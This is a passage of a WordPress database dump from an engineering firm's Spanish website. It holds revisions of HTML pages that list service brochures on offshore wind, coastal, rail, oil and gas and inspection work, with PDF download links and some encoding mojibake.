href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DISEÑO DE LA SUBESTRUCTURA DE<br /> GENERADOR DE TURBINA EÓLICA (WTG) COSTA AFUERA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Moffatt & Nichol aporta las capacidades y experiencia para diseñar subestructuras optimizadas costa afuera para apoyar el desarrollo de parques eólicos costa afuera, incluyendo generadores de turbina eólica <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS CONSULTIVOS <br />COMERCIALES DE PARQUES EÓLICOS </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL DE ENERGÍA EÓLICA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Moffatt & Nichol está posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestro <br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Inspección y<br /> rehabilitación</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol, expertos con reconocimiento internacional en ingeniería y diseño estructural de frentes costeros, proporciona a sus clientes servicios de ingeniería orientados hacia la prolongación de la vida de servicio<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION%20REHAB.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>        \r\n                            \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','boletín de noticias','','inherit','open','open','','310-revision-3','','','2012-06-15 10:27:46','2012-06-15 10:27:46','',310,'http://moffattnichol.com/spanish/310-revision-3/',0,'revision','',0),(2530,1,'2012-06-15 10:49:01','2012-06-15 10:49:01','<div class=\"content_faq\">\r\n\r\n<div class=\"brochure-wrapper-new\">\r\n<h3>calificaciones y experiencia profesional - norteamérica</h3><br />\r\n<div class=\"brochure-one-leftpart\">\r\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nMoffatt & Nichol es un destacado consultor de infraestructura a nivel global con base en Estados Unidos, que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un<br /><br /><br />\r\n<div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-of-services/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1US.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n</div>\r\n<span class=\"moreheadlines-newone fr\"></span></div> \r\n<div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS,<br /> MEDIOAMBIENTALES E HÍDRICOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              El prestigio de Moffatt & Nichol de excelencia en ambientes de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos.<br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n         \r\n</div>\r\n\r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MEDIOAMBIENTAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de años de experiencia con estimulantes proyecto en todo el mundo. Si bien las firmas medioambientales tradicionales<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Con más de sesenta años de experiencia, Moffatt & Nichol tiene el legado de colocar a la seguridad ante todo. Creemos que<br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RAIL%20SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Como los frentes costeros de hoy en día se convierten en catalizadores de la actividad económica, la especialidad de frentes de mar urbanos y puertos deportivos de Moffatt & Nichol desempeña un papel crítico<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/URBAN%20WATERFRONTS%20AND%20MARINAS%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PETRÓLEO Y GAS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que aborda las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa de la industria del petróleo y el gas. Hoy en día, esta práctica ha<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n                  \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Inspección y<br /> Rehabilitación </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Moffatt & Nichol, expertos con reconocimiento internacional en ingeniería estructural de frentes costeros y diseño marítimo, proporciona a sus clientes servicios de ingeniería<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION%20AND%20REHABILITATION%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Calificaciones y experiencia profesional-Norteamérica','','inherit','open','open','','2002-autosave','','','2012-06-15 10:49:01','2012-06-15 10:49:01','',2002,'http://moffattnichol.com/spanish/2002-autosave/',0,'revision','',0),(2531,1,'2012-02-09 16:22:38','2012-02-09 10:52:38','<div class=\"content_faq\">\n\n<div class=\"brochure-wrapper-new\">\n<h3>calificaciones y experiencia profesional - norteamÃ©rica</h3><br />\n<div class=\"brochure-one-leftpart\">\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÃ“N GENERAL</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\nMoffatt & Nichol es un destacado consultor de infraestructura a nivel global con base en Estados Unidos, que se especializa en el planeamiento y diseÃ±o de las instalaciones que dan forma a nuestras lÃneas costeras, puertos y rÃos, asÃ como un<br /><br /><br />\n<div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-of-services/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1US.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n</div>\n<span class=\"moreheadlines-newone fr\"></span></div> \n<div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS,<br /> MEDIOAMBIENTALES E HÃDRICOS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n              El prestigio de Moffatt & Nichol de excelencia en ambientes de frentes costeros fue desarrollado a lo largo de aÃ±os de experiencia con estimulantes proyectos.<br /><br /><br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n              </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n         \n</div>\n\n<div class=\"brochure-wrapper-two\">\n            \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MEDIOAMBIENTAL</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de aÃ±os de experiencia con estimulantes proyecto en todo el mundo. Si bien las firmas medioambientales tradicionales<br /><br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n              </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n              \n              <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-1.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Con mÃ¡s de sesenta aÃ±os de experiencia, Moffatt & Nichol tiene el legado de colocar a la seguridad ante todo. Creemos que<br /><br /><br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RAIL%20SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n          </div>\n          \n<div class=\"brochure-wrapper-two\">\n            \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-2.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Como los frentes costeros de hoy en dÃa se convierten en catalizadores de la actividad econÃ³mica, la especialidad de frentes de mar urbanos y puertos deportivos de Moffatt & Nichol desempeÃ±a un papel crÃtico<br /><br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/URBAN%20WATERFRONTS%20AND%20MARINAS%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n              </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n              \n              <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PETRÃ“LEO Y GAS </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n               Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que aborda las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa de la industria del petrÃ³leo y el gas. Hoy en dÃa, esta prÃ¡ctica ha<br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n          </div> \n                  \n<div class=\"brochure-wrapper-two\">\n            \n            <div class=\"brochure-one-leftpart\">\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-2.jpg\" /></div>\n              \n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">InspecciÃ³n y<br /> RehabilitaciÃ³n </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n              Moffatt & Nichol, expertos con reconocimiento internacional en ingenierÃa estructural de frentes costeros y diseÃ±o marÃtimo, proporciona a sus clientes servicios de ingenierÃa<br />\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION%20AND%20REHABILITATION%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n               </div>\n              <span class=\"moreheadlines-newone fr\"></span></div>\n          </div> \n          </div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Calificaciones y experiencia profesional-NorteamÃ©rica','','inherit','open','open','','2002-revision','','','2012-02-09 16:22:38','2012-02-09 10:52:38','',2002,'http://moffattnichol.com/spanish/2002-revision/',0,'revision','',0),(2532,1,'2012-06-15 10:40:05','2012-06-15 10:40:05','<div class=\"content_faq\">\r\n\r\n<div class=\"brochure-wrapper-new\">\r\n<h3>calificaciones y experiencia profesional - norteamérica</h3><br />\r\n<div class=\"brochure-one-leftpart\">\r\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÃ“N GENERAL</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\nMoffatt & Nichol es un destacado consultor de infraestructura a nivel global con base en Estados Unidos, que se especializa en el planeamiento y diseÃ±o de las instalaciones que dan forma a nuestras lÃneas costeras, puertos y rÃos, asÃ como un<br /><br /><br />\r\n<div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-of-services/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1US.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n</div>\r\n<span class=\"moreheadlines-newone fr\"></span></div> \r\n<div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS,<br /> MEDIOAMBIENTALES E HÃDRICOS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n              El prestigio de Moffatt & Nichol de excelencia en ambientes de frentes costeros fue desarrollado a lo largo de aÃ±os de experiencia con estimulantes proyectos.<br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n         \r\n</div>\r\n\r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MEDIOAMBIENTAL</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de aÃ±os de experiencia con estimulantes proyecto en todo el mundo. Si bien las firmas medioambientales tradicionales<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               Con mÃ¡s de sesenta aÃ±os de experiencia, Moffatt & Nichol tiene el legado de colocar a la seguridad ante todo. Creemos que<br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RAIL%20SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               Como los frentes costeros de hoy en dÃa se convierten en catalizadores de la actividad econÃ³mica, la especialidad de frentes de mar urbanos y puertos deportivos de Moffatt & Nichol desempeÃ±a un papel crÃtico<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/URBAN%20WATERFRONTS%20AND%20MARINAS%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PETRÃ“LEO Y GAS </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n               Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que aborda las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa de la industria del petrÃ³leo y el gas. Hoy en dÃa, esta prÃ¡ctica ha<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n                  \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">InspecciÃ³n y<br /> RehabilitaciÃ³n </span> <br /><em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n              Moffatt & Nichol, expertos con reconocimiento internacional en ingenierÃa estructural de frentes costeros y diseÃ±o marÃtimo, proporciona a sus clientes servicios de ingenierÃa<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION%20AND%20REHABILITATION%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Calificaciones y experiencia profesional-Norteamérica','','inherit','open','open','','2002-revision-2','','','2012-06-15 10:40:05','2012-06-15 10:40:05','',2002,'http://moffattnichol.com/spanish/2002-revision-2/',0,'revision','',0),(2533,1,'2012-06-15 10:53:04','2012-06-15 10:53:04','<div class=\"content_faq\">\r\n<div class=\"for-emetybox\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>capacidades y experiencia profesional-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em 